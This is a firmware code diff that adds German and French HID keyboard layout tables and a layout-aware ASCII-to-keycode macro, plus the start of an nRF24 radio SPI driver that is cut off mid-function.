KEY_MOD_RIGHT_GUI = (1 << 15),
};
/** ASCII to keycode conversion table */
/** ASCII to keycode conversion table US */
static const uint16_t hid_asciimap[] = {
HID_KEYBOARD_NONE, // NUL
HID_KEYBOARD_NONE, // SOH
@ -153,6 +153,480 @@ static const uint16_t hid_asciimap[] = {
HID_KEYBOARD_NONE, // DEL
};
/** HID keyboard key codes DE */
enum HidKeyboardKeysDE {
HID_KEYBOARD_DE_ERROR_ROLLOVER = 0x01,
HID_KEYBOARD_DE_POST_FAIL = 0x02,
HID_KEYBOARD_DE_ERROR_UNDEFINED = 0x03,
HID_KEYBOARD_DE_ENTER = 0x28,
HID_KEYBOARD_DE_ESC = 0x29,
HID_KEYBOARD_DE_BACKSPACE = 0x2A,
HID_KEYBOARD_DE_TAB = 0x2B,
HID_KEYBOARD_DE_SPACE = 0x2C,
HID_KEYBOARD_DE_A = 0x04,
HID_KEYBOARD_DE_B = 0x05,
HID_KEYBOARD_DE_C = 0x06,
HID_KEYBOARD_DE_D = 0x07,
HID_KEYBOARD_DE_E = 0x08,
HID_KEYBOARD_DE_F = 0x09,
HID_KEYBOARD_DE_G = 0x0A,
HID_KEYBOARD_DE_H = 0x0B,
HID_KEYBOARD_DE_I = 0x0C,
HID_KEYBOARD_DE_J = 0x0D,
HID_KEYBOARD_DE_K = 0x0E,
HID_KEYBOARD_DE_L = 0x0F,
HID_KEYBOARD_DE_M = 0x10,
HID_KEYBOARD_DE_N = 0x11,
HID_KEYBOARD_DE_O = 0x12,
HID_KEYBOARD_DE_P = 0x13,
HID_KEYBOARD_DE_Q = 0x14,
HID_KEYBOARD_DE_R = 0x15,
HID_KEYBOARD_DE_S = 0x16,
HID_KEYBOARD_DE_T = 0x17,
HID_KEYBOARD_DE_U = 0x18,
HID_KEYBOARD_DE_V = 0x19,
HID_KEYBOARD_DE_W = 0x1A,
HID_KEYBOARD_DE_X = 0x1B,
HID_KEYBOARD_DE_Y = 0x1D,
HID_KEYBOARD_DE_Z = 0x1C,
HID_KEYBOARD_DE_1 = 0x1E,
HID_KEYBOARD_DE_2 = 0x1F,
HID_KEYBOARD_DE_3 = 0x20,
HID_KEYBOARD_DE_4 = 0x21,
HID_KEYBOARD_DE_5 = 0x22,
HID_KEYBOARD_DE_6 = 0x23,
HID_KEYBOARD_DE_7 = 0x24,
HID_KEYBOARD_DE_8 = 0x25,
HID_KEYBOARD_DE_9 = 0x26,
HID_KEYBOARD_DE_0 = 0x27,
HID_KEYBOARD_DE_EXCLAMATION = 0x1E,
HID_KEYBOARD_DE_DOUBLE_QUOTE = 0x1F,
HID_KEYBOARD_DE_DOLLAR = 0x21,
HID_KEYBOARD_DE_PERCENT = 0x22,
HID_KEYBOARD_DE_AND = 0x23,
HID_KEYBOARD_DE_SINGLE_QUOTE = 0x31, //tocheck
HID_KEYBOARD_DE_LEFT_PARENTHESIS = 0x25,
HID_KEYBOARD_DE_RIGHT_PARENTHESIS = 0x26,
HID_KEYBOARD_DE_STAR = 0x30,
HID_KEYBOARD_DE_EQUAL = 0x27,
HID_KEYBOARD_DE_COMMA = 0x36,
HID_KEYBOARD_DE_DASH = 0x38,
HID_KEYBOARD_DE_SEMI_COLON = 0x36,
HID_KEYBOARD_DE_DOUBLE_POINTS = 0x37,
HID_KEYBOARD_DE_SMALLER = 0x64, //todo
HID_KEYBOARD_DE_UNDERSCORE = 0x38,
HID_KEYBOARD_DE_CIRCUMFLEX = 0x35, //tocheck
HID_KEYBOARD_DE_BACKTICK = 0x2E,
HID_KEYBOARD_DE_CAPS_LOCK = 0xC1,
HID_KEYBOARD_DE_F1 = 0xC2,
HID_KEYBOARD_DE_F2 = 0xC3,
HID_KEYBOARD_DE_F3 = 0xC4,
HID_KEYBOARD_DE_F4 = 0xC5,
HID_KEYBOARD_DE_F5 = 0xC6,
HID_KEYBOARD_DE_F6 = 0xC7,
HID_KEYBOARD_DE_F7 = 0xC8,
HID_KEYBOARD_DE_F8 = 0xC9,
HID_KEYBOARD_DE_F9 = 0xCA,
HID_KEYBOARD_DE_F10 = 0xCB,
HID_KEYBOARD_DE_F11 = 0xCC,
HID_KEYBOARD_DE_F12 = 0xCD,
HID_KEYBOARD_DE_PRINT = 0x63,
HID_KEYBOARD_DE_SCROLL_LOCK = 0x47,
HID_KEYBOARD_DE_PAUSE = 0x48,
HID_KEYBOARD_DE_INSERT = 0xD1,
HID_KEYBOARD_DE_HOME = 0xD2,
HID_KEYBOARD_DE_PAGE_UP = 0xD3,
HID_KEYBOARD_DE_DELETE = 0xD4,
HID_KEYBOARD_DE_END = 0xD5,
HID_KEYBOARD_DE_PAGE_DOWN = 0xD6,
HID_KEYBOARD_DE_RIGHT_ARROW = 0xD7,
HID_KEYBOARD_DE_LEFT_ARROW = 0xD8,
HID_KEYBOARD_DE_DOWN_ARROW = 0xD9,
HID_KEYBOARD_DE_UP_ARROW = 0xDA,
HID_KEYBOARD_DE_NUM_LOCK = 0x53,
HID_KEYBOARD_DE_NON_US = 0x64,
HID_KEYBOARD_DE_APPLICATION = 0x65,
HID_KEYBOARD_DE_SHARP_SS = 0x2D,
};
/** ASCII to keycode conversion table DE */
static const uint16_t hid_asciimap_de[] = {
HID_KEYBOARD_NONE, // NUL
HID_KEYBOARD_NONE, // SOH
HID_KEYBOARD_NONE, // STX
HID_KEYBOARD_NONE, // ETX
HID_KEYBOARD_NONE, // EOT
HID_KEYBOARD_NONE, // ENQ
HID_KEYBOARD_NONE, // ACK
HID_KEYBOARD_NONE, // BEL
HID_KEYBOARD_DE_BACKSPACE, // BS Backspace
HID_KEYBOARD_DE_TAB, // TAB Tab
HID_KEYBOARD_DE_ENTER, // LF Enter
HID_KEYBOARD_NONE, // VT
HID_KEYBOARD_NONE, // FF
HID_KEYBOARD_NONE, // CR
HID_KEYBOARD_NONE, // SO
HID_KEYBOARD_NONE, // SI
HID_KEYBOARD_NONE, // DEL
HID_KEYBOARD_NONE, // DC1
HID_KEYBOARD_NONE, // DC2
HID_KEYBOARD_NONE, // DC3
HID_KEYBOARD_NONE, // DC4
HID_KEYBOARD_NONE, // NAK
HID_KEYBOARD_NONE, // SYN
HID_KEYBOARD_NONE, // ETB
HID_KEYBOARD_NONE, // CAN
HID_KEYBOARD_NONE, // EM
HID_KEYBOARD_NONE, // SUB
HID_KEYBOARD_NONE, // ESC
HID_KEYBOARD_NONE, // FS
HID_KEYBOARD_NONE, // GS
HID_KEYBOARD_NONE, // RS
HID_KEYBOARD_NONE, // US
HID_KEYBOARD_DE_SPACE, // ' ' Space
HID_KEYBOARD_DE_EXCLAMATION | KEY_MOD_LEFT_SHIFT, // !
HID_KEYBOARD_DE_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // "
HID_KEYBOARD_DE_SINGLE_QUOTE, // #
HID_KEYBOARD_DE_DOLLAR | KEY_MOD_LEFT_SHIFT, // $
HID_KEYBOARD_DE_PERCENT | KEY_MOD_LEFT_SHIFT, // %
HID_KEYBOARD_DE_AND | KEY_MOD_LEFT_SHIFT, // &
HID_KEYBOARD_DE_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // '
HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // (
HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // )
HID_KEYBOARD_DE_STAR | KEY_MOD_LEFT_SHIFT, // *
HID_KEYBOARD_DE_STAR, // +
HID_KEYBOARD_DE_COMMA, // ,
HID_KEYBOARD_DE_DASH, // -
HID_KEYBOARD_DE_DOUBLE_POINTS, // .
HID_KEYBOARD_DE_7 | KEY_MOD_LEFT_SHIFT, // /
HID_KEYBOARD_DE_0, // 0
HID_KEYBOARD_DE_1, // 1
HID_KEYBOARD_DE_2, // 2
HID_KEYBOARD_DE_3, // 3
HID_KEYBOARD_DE_4, // 4
HID_KEYBOARD_DE_5, // 5
HID_KEYBOARD_DE_6, // 6
HID_KEYBOARD_DE_7, // 7
HID_KEYBOARD_DE_8, // 8
HID_KEYBOARD_DE_9, // 9
HID_KEYBOARD_DE_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // :
HID_KEYBOARD_DE_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // ;
HID_KEYBOARD_DE_SMALLER, // <
HID_KEYBOARD_DE_EQUAL | KEY_MOD_LEFT_SHIFT, // =
HID_KEYBOARD_DE_SMALLER | KEY_MOD_LEFT_SHIFT, // >
HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_LEFT_SHIFT, // ?
HID_KEYBOARD_DE_Q | KEY_MOD_RIGHT_ALT, // @
HID_KEYBOARD_DE_A | KEY_MOD_LEFT_SHIFT, // A
HID_KEYBOARD_DE_B | KEY_MOD_LEFT_SHIFT, // B
HID_KEYBOARD_DE_C | KEY_MOD_LEFT_SHIFT, // C
HID_KEYBOARD_DE_D | KEY_MOD_LEFT_SHIFT, // D
HID_KEYBOARD_DE_E | KEY_MOD_LEFT_SHIFT, // E
HID_KEYBOARD_DE_F | KEY_MOD_LEFT_SHIFT, // F
HID_KEYBOARD_DE_G | KEY_MOD_LEFT_SHIFT, // G
HID_KEYBOARD_DE_H | KEY_MOD_LEFT_SHIFT, // H
HID_KEYBOARD_DE_I | KEY_MOD_LEFT_SHIFT, // I
HID_KEYBOARD_DE_J | KEY_MOD_LEFT_SHIFT, // J
HID_KEYBOARD_DE_K | KEY_MOD_LEFT_SHIFT, // K
HID_KEYBOARD_DE_L | KEY_MOD_LEFT_SHIFT, // L
HID_KEYBOARD_DE_M | KEY_MOD_LEFT_SHIFT, // M
HID_KEYBOARD_DE_N | KEY_MOD_LEFT_SHIFT, // N
HID_KEYBOARD_DE_O | KEY_MOD_LEFT_SHIFT, // O
HID_KEYBOARD_DE_P | KEY_MOD_LEFT_SHIFT, // P
HID_KEYBOARD_DE_Q | KEY_MOD_LEFT_SHIFT, // Q
HID_KEYBOARD_DE_R | KEY_MOD_LEFT_SHIFT, // R
HID_KEYBOARD_DE_S | KEY_MOD_LEFT_SHIFT, // S
HID_KEYBOARD_DE_T | KEY_MOD_LEFT_SHIFT, // T
HID_KEYBOARD_DE_U | KEY_MOD_LEFT_SHIFT, // U
HID_KEYBOARD_DE_V | KEY_MOD_LEFT_SHIFT, // V
HID_KEYBOARD_DE_W | KEY_MOD_LEFT_SHIFT, // W
HID_KEYBOARD_DE_X | KEY_MOD_LEFT_SHIFT, // X
HID_KEYBOARD_DE_Y | KEY_MOD_LEFT_SHIFT, // Y
HID_KEYBOARD_DE_Z | KEY_MOD_LEFT_SHIFT, // Z
HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [
HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_RIGHT_ALT, // bslash
HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ]
HID_KEYBOARD_DE_CIRCUMFLEX, // ^
HID_KEYBOARD_DE_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // _
HID_KEYBOARD_DE_BACKTICK | KEY_MOD_LEFT_SHIFT, // `
HID_KEYBOARD_DE_A, // a
HID_KEYBOARD_DE_B, // b
HID_KEYBOARD_DE_C, // c
HID_KEYBOARD_DE_D, // d
HID_KEYBOARD_DE_E, // e
HID_KEYBOARD_DE_F, // f
HID_KEYBOARD_DE_G, // g
HID_KEYBOARD_DE_H, // h
HID_KEYBOARD_DE_I, // i
HID_KEYBOARD_DE_J, // j
HID_KEYBOARD_DE_K, // k
HID_KEYBOARD_DE_L, // l
HID_KEYBOARD_DE_M, // m
HID_KEYBOARD_DE_N, // n
HID_KEYBOARD_DE_O, // o
HID_KEYBOARD_DE_P, // p
HID_KEYBOARD_DE_Q, // q
HID_KEYBOARD_DE_R, // r
HID_KEYBOARD_DE_S, // s
HID_KEYBOARD_DE_T, // t
HID_KEYBOARD_DE_U, // u
HID_KEYBOARD_DE_V, // v
HID_KEYBOARD_DE_W, // w
HID_KEYBOARD_DE_X, // x
HID_KEYBOARD_DE_Y, // y
HID_KEYBOARD_DE_Z, // z
HID_KEYBOARD_DE_7 | KEY_MOD_RIGHT_ALT, // {
HID_KEYBOARD_DE_SMALLER | KEY_MOD_RIGHT_ALT, // |
HID_KEYBOARD_DE_0 | KEY_MOD_RIGHT_ALT, // }
HID_KEYBOARD_DE_STAR | KEY_MOD_RIGHT_ALT, // ~
HID_KEYBOARD_NONE, // DEL
};
/** HID keyboard key codes FR */
enum HidKeyboardKeysFR {
HID_KEYBOARD_FR_ERROR_ROLLOVER = 0x01,
HID_KEYBOARD_FR_POST_FAIL = 0x02,
HID_KEYBOARD_FR_ERROR_UNDEFINED = 0x03,
HID_KEYBOARD_FR_ENTER = 0x28,
HID_KEYBOARD_FR_ESC = 0x29,
HID_KEYBOARD_FR_BACKSPACE = 0x2A,
HID_KEYBOARD_FR_TAB = 0x2B,
HID_KEYBOARD_FR_SPACE = 0x2C,
HID_KEYBOARD_FR_A = 0x14,
HID_KEYBOARD_FR_B = 0x05,
HID_KEYBOARD_FR_C = 0x06,
HID_KEYBOARD_FR_D = 0x07,
HID_KEYBOARD_FR_E = 0x08,
HID_KEYBOARD_FR_F = 0x09,
HID_KEYBOARD_FR_G = 0x0A,
HID_KEYBOARD_FR_H = 0x0B,
HID_KEYBOARD_FR_I = 0x0C,
HID_KEYBOARD_FR_J = 0x0D,
HID_KEYBOARD_FR_K = 0x0E,
HID_KEYBOARD_FR_L = 0x0F,
HID_KEYBOARD_FR_M = 0x33,
HID_KEYBOARD_FR_N = 0x11,
HID_KEYBOARD_FR_O = 0x12,
HID_KEYBOARD_FR_P = 0x13,
HID_KEYBOARD_FR_Q = 0x04,
HID_KEYBOARD_FR_R = 0x15,
HID_KEYBOARD_FR_S = 0x16,
HID_KEYBOARD_FR_T = 0x17,
HID_KEYBOARD_FR_U = 0x18,
HID_KEYBOARD_FR_V = 0x19,
HID_KEYBOARD_FR_W = 0x1D,
HID_KEYBOARD_FR_X = 0x1B,
HID_KEYBOARD_FR_Y = 0x1C,
HID_KEYBOARD_FR_Z = 0x1A,
HID_KEYBOARD_FR_1 = 0x1E,
HID_KEYBOARD_FR_2 = 0x1F,
HID_KEYBOARD_FR_3 = 0x20,
HID_KEYBOARD_FR_4 = 0x21,
HID_KEYBOARD_FR_5 = 0x22,
HID_KEYBOARD_FR_6 = 0x23,
HID_KEYBOARD_FR_7 = 0x24,
HID_KEYBOARD_FR_8 = 0x25,
HID_KEYBOARD_FR_9 = 0x26,
HID_KEYBOARD_FR_0 = 0x27,
HID_KEYBOARD_FR_EXCLAMATION = 0x38,
HID_KEYBOARD_FR_DOUBLE_QUOTE = 0x20,
HID_KEYBOARD_FR_DOLLAR = 0x30,
HID_KEYBOARD_FR_U_BACKTICK = 0x34,
HID_KEYBOARD_FR_AND = 0x1E,
HID_KEYBOARD_FR_SINGLE_QUOTE = 0x21,
HID_KEYBOARD_FR_LEFT_PARENTHESIS = 0x22,
HID_KEYBOARD_FR_RIGHT_PARENTHESIS = 0x2D,
HID_KEYBOARD_FR_STAR = 0x31,
HID_KEYBOARD_FR_EQUAL = 0x2E,
HID_KEYBOARD_FR_COMMA = 0x10,
HID_KEYBOARD_FR_DASH = 0x23,
HID_KEYBOARD_FR_SEMI_COLON = 0x36,
HID_KEYBOARD_FR_DOUBLE_POINTS = 0x37,
HID_KEYBOARD_FR_SMALLER = 0x64,
HID_KEYBOARD_FR_UNDERSCORE = 0x25,
HID_KEYBOARD_FR_CIRCUMFLEX = 0x2F,
HID_KEYBOARD_FR_A_BACKTICK = 0x27,
HID_KEYBOARD_FR_E_ACCENT = 0x1F,
HID_KEYBOARD_FR_E_BACKTICK = 0x24,
HID_KEYBOARD_FR_C_CEDILLE = 0x26,
HID_KEYBOARD_FR_CAPS_LOCK = 0xC1,
HID_KEYBOARD_FR_F1 = 0xC2,
HID_KEYBOARD_FR_F2 = 0xC3,
HID_KEYBOARD_FR_F3 = 0xC4,
HID_KEYBOARD_FR_F4 = 0xC5,
HID_KEYBOARD_FR_F5 = 0xC6,
HID_KEYBOARD_FR_F6 = 0xC7,
HID_KEYBOARD_FR_F7 = 0xC8,
HID_KEYBOARD_FR_F8 = 0xC9,
HID_KEYBOARD_FR_F9 = 0xCA,
HID_KEYBOARD_FR_F10 = 0xCB,
HID_KEYBOARD_FR_F11 = 0xCC,
HID_KEYBOARD_FR_F12 = 0xCD,
HID_KEYBOARD_FR_PRINT = 0x63,
HID_KEYBOARD_FR_SCROLL_LOCK = 0x47,
HID_KEYBOARD_FR_PAUSE = 0x48,
HID_KEYBOARD_FR_INSERT = 0xD1,
HID_KEYBOARD_FR_HOME = 0xD2,
HID_KEYBOARD_FR_PAGE_UP = 0xD3,
HID_KEYBOARD_FR_DELETE = 0xD4,
HID_KEYBOARD_FR_END = 0xD5,
HID_KEYBOARD_FR_PAGE_DOWN = 0xD6,
HID_KEYBOARD_FR_RIGHT_ARROW = 0xD7,
HID_KEYBOARD_FR_LEFT_ARROW = 0xD8,
HID_KEYBOARD_FR_DOWN_ARROW = 0xD9,
HID_KEYBOARD_FR_UP_ARROW = 0xDA,
HID_KEYBOARD_FR_NUM_LOCK = 0x53,
HID_KEYBOARD_FR_NON_US = 0x64,
HID_KEYBOARD_FR_APPLICATION = 0x65,
};
/** ASCII to keycode conversion table FR */
static const uint16_t hid_asciimap_fr[] = {
HID_KEYBOARD_NONE, // NUL
HID_KEYBOARD_NONE, // SOH
HID_KEYBOARD_NONE, // STX
HID_KEYBOARD_NONE, // ETX
HID_KEYBOARD_NONE, // EOT
HID_KEYBOARD_NONE, // ENQ
HID_KEYBOARD_NONE, // ACK
HID_KEYBOARD_NONE, // BEL
HID_KEYBOARD_FR_BACKSPACE, // BS Backspace
HID_KEYBOARD_FR_TAB, // TAB Tab
HID_KEYBOARD_FR_ENTER, // LF Enter
HID_KEYBOARD_NONE, // VT
HID_KEYBOARD_NONE, // FF
HID_KEYBOARD_NONE, // CR
HID_KEYBOARD_NONE, // SO
HID_KEYBOARD_NONE, // SI
HID_KEYBOARD_NONE, // DEL
HID_KEYBOARD_NONE, // DC1
HID_KEYBOARD_NONE, // DC2
HID_KEYBOARD_NONE, // DC3
HID_KEYBOARD_NONE, // DC4
HID_KEYBOARD_NONE, // NAK
HID_KEYBOARD_NONE, // SYN
HID_KEYBOARD_NONE, // ETB
HID_KEYBOARD_NONE, // CAN
HID_KEYBOARD_NONE, // EM
HID_KEYBOARD_NONE, // SUB
HID_KEYBOARD_NONE, // ESC
HID_KEYBOARD_NONE, // FS
HID_KEYBOARD_NONE, // GS
HID_KEYBOARD_NONE, // RS
HID_KEYBOARD_NONE, // US
HID_KEYBOARD_FR_SPACE, // ' ' Space
HID_KEYBOARD_FR_EXCLAMATION, // !
HID_KEYBOARD_FR_DOUBLE_QUOTE, // "
HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_RIGHT_ALT, // #
HID_KEYBOARD_FR_DOLLAR, // $
HID_KEYBOARD_FR_U_BACKTICK | KEY_MOD_LEFT_SHIFT, // %
HID_KEYBOARD_FR_AND, // &
HID_KEYBOARD_FR_SINGLE_QUOTE, // '
HID_KEYBOARD_FR_LEFT_PARENTHESIS, // (
HID_KEYBOARD_FR_RIGHT_PARENTHESIS, // )
HID_KEYBOARD_FR_STAR, // *
HID_KEYBOARD_FR_EQUAL | KEY_MOD_LEFT_SHIFT, // +
HID_KEYBOARD_FR_COMMA, // ,
HID_KEYBOARD_FR_DASH, // -
HID_KEYBOARD_FR_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // .
HID_KEYBOARD_FR_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // /
HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_LEFT_SHIFT, // 0
HID_KEYBOARD_FR_AND | KEY_MOD_LEFT_SHIFT, // 1
HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_LEFT_SHIFT, // 2
HID_KEYBOARD_FR_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 3
HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // 4
HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // 5
HID_KEYBOARD_FR_DASH | KEY_MOD_LEFT_SHIFT, // 6
HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_LEFT_SHIFT, // 7
HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // 8
HID_KEYBOARD_FR_C_CEDILLE | KEY_MOD_LEFT_SHIFT, // 9
HID_KEYBOARD_FR_DOUBLE_POINTS, // :
HID_KEYBOARD_FR_SEMI_COLON, // ;
HID_KEYBOARD_FR_SMALLER, // <
HID_KEYBOARD_FR_EQUAL, // =
HID_KEYBOARD_FR_SMALLER | KEY_MOD_LEFT_SHIFT, // >
HID_KEYBOARD_FR_COMMA | KEY_MOD_LEFT_SHIFT, // ?
HID_KEYBOARD_FR_A_BACKTICK | KEY_MOD_RIGHT_ALT, // @
HID_KEYBOARD_FR_A | KEY_MOD_LEFT_SHIFT, // A
HID_KEYBOARD_FR_B | KEY_MOD_LEFT_SHIFT, // B
HID_KEYBOARD_FR_C | KEY_MOD_LEFT_SHIFT, // C
HID_KEYBOARD_FR_D | KEY_MOD_LEFT_SHIFT, // D
HID_KEYBOARD_FR_E | KEY_MOD_LEFT_SHIFT, // E
HID_KEYBOARD_FR_F | KEY_MOD_LEFT_SHIFT, // F
HID_KEYBOARD_FR_G | KEY_MOD_LEFT_SHIFT, // G
HID_KEYBOARD_FR_H | KEY_MOD_LEFT_SHIFT, // H
HID_KEYBOARD_FR_I | KEY_MOD_LEFT_SHIFT, // I
HID_KEYBOARD_FR_J | KEY_MOD_LEFT_SHIFT, // J
HID_KEYBOARD_FR_K | KEY_MOD_LEFT_SHIFT, // K
HID_KEYBOARD_FR_L | KEY_MOD_LEFT_SHIFT, // L
HID_KEYBOARD_FR_M | KEY_MOD_LEFT_SHIFT, // M
HID_KEYBOARD_FR_N | KEY_MOD_LEFT_SHIFT, // N
HID_KEYBOARD_FR_O | KEY_MOD_LEFT_SHIFT, // O
HID_KEYBOARD_FR_P | KEY_MOD_LEFT_SHIFT, // P
HID_KEYBOARD_FR_Q | KEY_MOD_LEFT_SHIFT, // Q
HID_KEYBOARD_FR_R | KEY_MOD_LEFT_SHIFT, // R
HID_KEYBOARD_FR_S | KEY_MOD_LEFT_SHIFT, // S
HID_KEYBOARD_FR_T | KEY_MOD_LEFT_SHIFT, // T
HID_KEYBOARD_FR_U | KEY_MOD_LEFT_SHIFT, // U
HID_KEYBOARD_FR_V | KEY_MOD_LEFT_SHIFT, // V
HID_KEYBOARD_FR_W | KEY_MOD_LEFT_SHIFT, // W
HID_KEYBOARD_FR_X | KEY_MOD_LEFT_SHIFT, // X
HID_KEYBOARD_FR_Y | KEY_MOD_LEFT_SHIFT, // Y
HID_KEYBOARD_FR_Z | KEY_MOD_LEFT_SHIFT, // Z
HID_KEYBOARD_FR_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [
HID_KEYBOARD_FR_UNDERSCORE | KEY_MOD_RIGHT_ALT, // bslash
HID_KEYBOARD_FR_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ]
HID_KEYBOARD_FR_CIRCUMFLEX, // ^
HID_KEYBOARD_FR_UNDERSCORE, // _
HID_KEYBOARD_FR_E_BACKTICK | KEY_MOD_RIGHT_ALT, // `
HID_KEYBOARD_FR_A, // a
HID_KEYBOARD_FR_B, // b
HID_KEYBOARD_FR_C, // c
HID_KEYBOARD_FR_D, // d
HID_KEYBOARD_FR_E, // e
HID_KEYBOARD_FR_F, // f
HID_KEYBOARD_FR_G, // g
HID_KEYBOARD_FR_H, // h
HID_KEYBOARD_FR_I, // i
HID_KEYBOARD_FR_J, // j
HID_KEYBOARD_FR_K, // k
HID_KEYBOARD_FR_L, // l
HID_KEYBOARD_FR_M, // m
HID_KEYBOARD_FR_N, // n
HID_KEYBOARD_FR_O, // o
HID_KEYBOARD_FR_P, // p
HID_KEYBOARD_FR_Q, // q
HID_KEYBOARD_FR_R, // r
HID_KEYBOARD_FR_S, // s
HID_KEYBOARD_FR_T, // t
HID_KEYBOARD_FR_U, // u
HID_KEYBOARD_FR_V, // v
HID_KEYBOARD_FR_W, // w
HID_KEYBOARD_FR_X, // x
HID_KEYBOARD_FR_Y, // y
HID_KEYBOARD_FR_Z, // z
HID_KEYBOARD_FR_SINGLE_QUOTE | KEY_MOD_RIGHT_ALT, // {
HID_KEYBOARD_FR_DASH | KEY_MOD_RIGHT_ALT, // |
HID_KEYBOARD_FR_EQUAL | KEY_MOD_RIGHT_ALT, // }
HID_KEYBOARD_FR_E_ACCENT | KEY_MOD_RIGHT_ALT, // ~
HID_KEYBOARD_NONE, // DEL
};
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-variable"
static const uint16_t* hid_asciimaps[] = {hid_asciimap, hid_asciimap_de, hid_asciimap_fr};
#pragma GCC diagnostic pop
typedef struct {
uint32_t vid;
uint32_t pid;
@ -163,7 +637,8 @@ typedef struct {
typedef void (*HidStateCallback)(bool state, void* context);
/** ASCII to keycode conversion macro */
#define HID_ASCII_TO_KEY(x) (((uint8_t)x < 128) ? (hid_asciimap[(uint8_t)x]) : HID_KEYBOARD_NONE)
#define HID_ASCII_TO_KEY(x, y) \
(((uint8_t)y < 128) ? (hid_asciimaps[(uint8_t)x][(uint8_t)y]) : HID_KEYBOARD_NONE)
/** HID keyboard leds */
enum HidKeyboardLeds {
@ -250,4 +725,4 @@ bool furi_hal_hid_consumer_key_press(uint16_t button);
*
* @param button key code
*/
bool furi_hal_hid_consumer_key_release(uint16_t button);
bool furi_hal_hid_consumer_key_release(uint16_t button);

513
lib/drivers/nrf24.c Normal file
View file

@ -0,0 +1,513 @@
#include "nrf24.h"
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_resources.h>
#include <assert.h>
#include <string.h>
void nrf24_init() {
furi_hal_spi_bus_handle_init(nrf24_HANDLE);
furi_hal_spi_acquire(nrf24_HANDLE);
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_write(nrf24_CE_PIN, false);
}
void nrf24_spi_trx(
FuriHalSpiBusHandle* handle,
uint8_t* tx,
uint8_t* rx,
uint8_t size,
uint32_t timeout) {
UNUSED(timeout);
furi_hal_gpio_write(handle->cs, false);
furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT);
furi_hal_gpio_write(handle->cs, true);
}
uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) {
uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data};
uint8_t rx[2] = {0};
nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT);
return rx[0];
}
uint8_t
nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(rx, 0, size + 1);
tx[0] = W_REGISTER | (REGISTER_MASK & reg);
memcpy(&tx[1], data, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(rx, 0, size + 1);
tx[0] = R_REGISTER | (REGISTER_MASK & reg);
memset(&tx[1], 0, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
memcpy(data, &rx[1], size);
return rx[0];
}
uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) {
uint8_t tx[] = {FLUSH_RX};
uint8_t rx[] = {0};
nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) {
uint8_t tx[] = {FLUSH_TX};
uint8_t rx[] = {0};
nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) {
uint8_t maclen;
nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1);
maclen &= 3;
return maclen + 2;
}
uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) {
assert(maclen > 1 && maclen < 6);
uint8_t status = 0;
status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2);
return status;
}
uint8_t nrf24_status(FuriHalSpiBusHandle* handle) {
uint8_t status;
uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)};
nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT);
return status;
}
uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) {
uint8_t setup = 0;
uint32_t rate = 0;
nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1);
setup &= 0x28;
if(setup == 0x20)
rate = 250000; // 250kbps
else if(setup == 0x08)
rate = 2000000; // 2Mbps
else if(setup == 0x00)
rate = 1000000; // 1Mbps
return rate;
}
uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) {
uint8_t r6 = 0;
uint8_t status = 0;
if(!rate) rate = 2000000;
nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register
r6 = r6 & (~0x28); // Clear rate fields.
if(rate == 2000000)
r6 = r6 | 0x08;
else if(rate == 1000000)
r6 = r6;
else if(rate == 250000)
r6 = r6 | 0x20;
